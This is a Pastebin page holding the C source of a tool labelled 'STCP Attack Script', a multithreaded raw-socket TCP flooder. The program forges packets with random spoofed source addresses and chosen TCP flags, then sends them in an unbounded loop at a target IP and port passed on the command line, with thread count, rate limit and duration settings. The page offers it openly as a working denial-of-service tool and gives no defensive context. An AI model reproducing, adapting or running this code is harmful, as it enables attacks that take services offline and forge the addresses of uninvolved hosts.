Advertisement
KhaosBringer

STCP Attack Script Source

Jun 12th, 2015
1,710
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.96 KB | None | 0 0
  1. /* STCP - AnonnPL, look at TeamSpeakCrack.com  */
  2. #include <unistd.h>
  3. #include <time.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <sys/ioctl.h>
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <stdio.h>
  10. #include <pthread.h>
  11. #include <netinet/tcp.h>
  12. #include <netinet/ip.h>
  13. #include <netinet/in.h>
  14. #include <netinet/if_ether.h>
  15. #include <netdb.h>
  16. #include <net/if.h>
  17. #include <arpa/inet.h>
  18.  
  19. #define MAX_PACKET_SIZE 4096
  20. #define PHI 0x9e3779b9
  21.  
  22. static unsigned long int Q[4096], c = 362436;
  23. static unsigned int floodport;
  24. volatile int limiter;
  25. volatile unsigned int pps;
  26. volatile unsigned int sleeptime = 100;
  27. int ack,syn,psh,fin,rst,urg,ptr,res2,seq;
  28.  
  29. void init_rand(unsigned long int x)
  30. {
  31.     int i;
  32.     Q[0] = x;
  33.     Q[1] = x + PHI;
  34.     Q[2] = x + PHI + PHI;
  35.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  36. }
  37. unsigned long int rand_cmwc(void)
  38. {
  39.     unsigned long long int t, a = 18782LL;
  40.     static unsigned long int i = 4095;
  41.     unsigned long int x, r = 0xfffffffe;
  42.     i = (i + 1) & 4095;
  43.     t = a * Q[i] + c;
  44.     c = (t >> 32);
  45.     x = t + c;
  46.     if (x < c) {
  47.         x++;
  48.         c++;
  49.     }
  50.     return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int count)
  53. {
  54.     register unsigned long sum = 0;
  55.     while( count > 1 ) { sum += *buf++; count -= 2; }
  56.     if(count > 0) { sum += *(unsigned char *)buf; }
  57.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  58.     return (unsigned short)(~sum);
  59. }
  60.  
  61. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  62.  
  63.     struct tcp_pseudo
  64.     {
  65.         unsigned long src_addr;
  66.         unsigned long dst_addr;
  67.         unsigned char zero;
  68.         unsigned char proto;
  69.         unsigned short length;
  70.     } pseudohead;
  71.     unsigned short total_len = iph->tot_len;
  72.     pseudohead.src_addr=iph->saddr;
  73.     pseudohead.dst_addr=iph->daddr;
  74.     pseudohead.zero=0;
  75.     pseudohead.proto=IPPROTO_TCP;
  76.     pseudohead.length=htons(sizeof(struct tcphdr));
  77.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  78.     unsigned short *tcp = malloc(totaltcp_len);
  79.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  80.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  81.     unsigned short output = csum(tcp,totaltcp_len);
  82.     free(tcp);
  83.     return output;
  84. }
  85.  
  86. void setup_ip_header(struct iphdr *iph)
  87. {
  88.     iph->ihl = 5;
  89.     iph->version = 4;
  90.     iph->tos = 0;
  91.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  92.     iph->id = htonl(rand()%54321);
  93.     iph->frag_off = 0;
  94.     iph->ttl = MAXTTL;
  95.     iph->protocol = 6;
  96.     iph->check = 0;
  97.     iph->saddr = inet_addr("8.8.8.8");
  98. }
  99.  
  100. void setup_tcp_header(struct tcphdr *tcph)
  101. {
  102. tcph->source = htons(rand()%65535);
  103.     tcph->seq = rand();
  104.     tcph->ack  = ack;
  105.     tcph->ack_seq = seq;
  106.     tcph->psh  = psh;  
  107.     tcph->fin  = fin;
  108.     tcph->rst  = rst;
  109.     tcph->res2 = res2;
  110.     tcph->doff = 5;
  111.     tcph->syn = syn;
  112.     tcph->urg  = urg;
  113.     tcph->urg_ptr = ptr;
  114.     tcph->window = htonl(65535);
  115.     tcph->check = 0;
  116. }
  117.  
  118. void *flood(void *par1)
  119. {
  120.     char *td = (char *)par1;
  121.     char datagram[MAX_PACKET_SIZE];
  122.     struct iphdr *iph = (struct iphdr *)datagram;
  123.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  124.    
  125.     struct sockaddr_in sin;
  126.     sin.sin_family = AF_INET;
  127.     sin.sin_port = htons(floodport);
  128.     sin.sin_addr.s_addr = inet_addr(td);
  129.  
  130.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  131.     if(s < 0){
  132.         fprintf(stderr, "Could not open raw socket.\n");
  133.         exit(-1);
  134.     }
  135.     memset(datagram, 0, MAX_PACKET_SIZE);
  136.     setup_ip_header(iph);
  137.     setup_tcp_header(tcph);
  138.  
  139.     tcph->dest = htons(floodport);
  140.  
  141.     iph->daddr = sin.sin_addr.s_addr;
  142.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  143.  
  144.     int tmp = 1;
  145.     const int *val = &tmp;
  146.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  147.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  148.         exit(-1);
  149.     }
  150.  
  151.     init_rand(time(NULL));
  152.     register unsigned int i;
  153.     i = 0;
  154.     while(1){
  155.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  156.  
  157.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  158.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  159.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  160.         tcph->seq = rand_cmwc() & 0xFFFF;
  161.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  162.         tcph->check = 0;
  163.         tcph->check = tcpcsum(iph, tcph);
  164.        
  165.         pps++;
  166.         if(i >= limiter)
  167.         {
  168.             i = 0;
  169.             usleep(sleeptime);
  170.         }
  171.         i++;
  172.     }
  173. }
  174. int main(int argc, char *argv[ ])
  175. {
  176.     if(argc < 7){
  177.         fprintf(stderr, "Invalid parameters!\n");
  178.         fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
  179.         exit(-1);
  180.     }
  181.  
  182.     fprintf(stdout, "Setting up Sockets...\n");
  183.  
  184.     int num_threads = atoi(argv[3]);
  185.     floodport = atoi(argv[2]);
  186.     int maxpps = atoi(argv[4]);
  187.     limiter = 0;
  188.     pps = 0;
  189.     pthread_t thread[num_threads];
  190. //TCP FLAGS
  191.     if(strstr(argv[6], "ack"))
  192.     ack  = 1;
  193.     else
  194.     ack  = 0;
  195.    
  196.     if(strstr(argv[6], "seq"))
  197.     seq = 1;
  198.     else
  199.     seq = 0;
  200.    
  201.     if(strstr(argv[6], "psh"))
  202.     psh = 1;
  203.     else
  204.     psh = 0;
  205.    
  206.     if(strstr(argv[6], "fin"))
  207.     fin  = 1;
  208.     else
  209.     fin  = 0;
  210.    
  211.     if(strstr(argv[6], "rst"))
  212.     rst = 1;
  213.     else
  214.     rst = 0;
  215.    
  216.     if(strstr(argv[6], "res2"))
  217.     res2 = 1;
  218.     else
  219.     res2 = 0;
  220.    
  221.     if(strstr(argv[6], "syn"))
  222.     syn = 1;
  223.     else
  224.     syn = 0;
  225.    
  226.     if(strstr(argv[6], "urg"))
  227.     urg = 1;
  228.     else
  229.     urg = 0;
  230.    
  231.     if(strstr(argv[6], "ptr"))
  232.     ptr = 1;
  233.     else
  234.     ptr = 0;
  235.    
  236. //FLAGS END
  237.     int multiplier = 20;
  238.  
  239.     int i;
  240.     for(i = 0;i<num_threads;i++){
  241.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  242.     }
  243.     fprintf(stdout, "Starting Flood...\n");
  244.     fprintf(stdout, "Code by Anonn\n");
  245.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  246.     {
  247.         usleep((1000/multiplier)*1000);
  248.         if((pps*multiplier) > maxpps)
  249.         {
  250.             if(1 > limiter)
  251.             {
  252.                 sleeptime+=100;
  253.             } else {
  254.                 limiter--;
  255.             }
  256.         } else {
  257.             limiter++;
  258.             if(sleeptime > 25)
  259.             {
  260.                 sleeptime-=25;
  261.             } else {
  262.                 sleeptime = 0;
  263.             }
  264.         }
  265.         pps = 0;
  266.     }
  267.  
  268.     return 0;
  269. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement